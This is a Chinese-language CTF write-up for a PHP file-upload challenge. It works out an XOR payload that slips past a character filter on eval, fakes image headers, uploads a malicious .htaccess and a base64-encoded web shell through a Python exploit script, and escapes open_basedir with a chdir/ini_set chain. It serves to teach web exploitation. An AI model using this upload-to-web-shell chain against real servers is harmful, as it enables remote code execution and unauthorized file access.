题目源码如下:
<?php function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_']; if (!$hhh){ highlight_file(__FILE__); } if(strlen($hhh)>18){ die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh); ?>
有很瞩目的get_the_flag()
方法,最后一行是eval($hhh);
,题目显然是要让$hhh
调用get_the_flag
方法。这题对$hhh
(即$_GET['_']
)做了一定的限制:
- 长度不允许大于18。
- 不允许出现符合正则表达式的内容。
- 字符串所用的字符数量不能大于12个。
使用下面的脚本可以检测出还有哪些可用的字符:
<?php for($a = 0; $a < 256; $a++){ if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($a))){ echo chr($a)." "; } }
剔掉奇奇怪怪的字符,还剩下这些:
! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { }
我选取了%f8对“_GET”逐位异或,构造出url?_=${_GET}{%f8}();&%f8=phpinfo
<?php $payload = ''; $x = '_GET'; for($i = 0; $i < strlen($x); $i++){ for ($j = 0; $j < 255; $j++){ $k = chr($j) ^ chr(248); if ($k == $x[$i]) { $payload .= '%'.dechex($j); } } } echo '%f8%f8%f8%f8^'.$payload; ?>
然后就看到flag了。 不能这么干,继续:
接下来分析get_the_flag()
:
- 限制了上传的文件名。如果出现了“ph”会退出。
- 限制了上传的文件内容。如果内容出现了“<?”,或经
exif_imagetype()
检测不是图片,会退出。
exif_imagetype()
还是比较好绕过的:
- 可以用“
\x00\x00\x8a\x39\x8a\x39
”。 - 也可以用
#define width 1337 #define height 1337
该题环境是Apache+PHP,可以上传.htaccess文件来绕过对文件的检测:
\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .ss
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_837ec5754f503cfaaee0929fd48974e7/shaw.cc"
构造shaw.cc:
\x00\x00\x8a\x39\x8a\x39
<?php eval($_GET['cmd']);?>
使用python脚本对其上传:
import requests import hashlib import base64 url ="http://a72f9a31-9b77-43e5-b2c1-a31861d4c18c.node3.buuoj.cn/" padding = "?_=${%f8%f8%f8%f8^%a7%bf%bd%ac}{%f8}();&%f8=get_the_flag" myip=requests.get("http://ifconfig.me").text ip_md5 = hashlib.md5(myip.encode()).hexdigest() userdir="upload/tmp_"+ip_md5+"/" htaccess = b"""\x00\x00\x8a\x39\x8a\x39 AddType application/x-httpd-php .cc php_value auto_append_file "php://filter/convert.base64-decode/resource=./shaw.cc" """ shaw = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['cmd']);?>") files =[('file',('.htaccess',htaccess,'image/jpeg'))] res = requests.post(url=url+padding,files=files) files = [('file',('shaw.cc',shaw,'image/jpeg'))] res = requests.post(url=url+padding,files=files) print("the path is:"+url+res.text)
访问http://ip/upload/tmp_852aff287f54bca0ed7757a702913e50/shaw.cc/?cmd=phpinfo();成功执行^^
观察phpinfo,发现存在open_basedir,即限制了访问路径:
open_basedir /var/www/html/:/tmp/
open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的
用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若”open_basedir = /dir/user”, 那么目录 “/dir/user” 和 “/dir/user1″都是
可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
?cmd=mkdir('rot');chdir('rot');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(glob('*'));
读取到flag的文件名为“THis_Is_tHe_F14g”:print_r(file_get_contents('/THis_Is_tHe_F14g'))
或者直接用蚁剑连,用bypass disable_functions插件一把梭: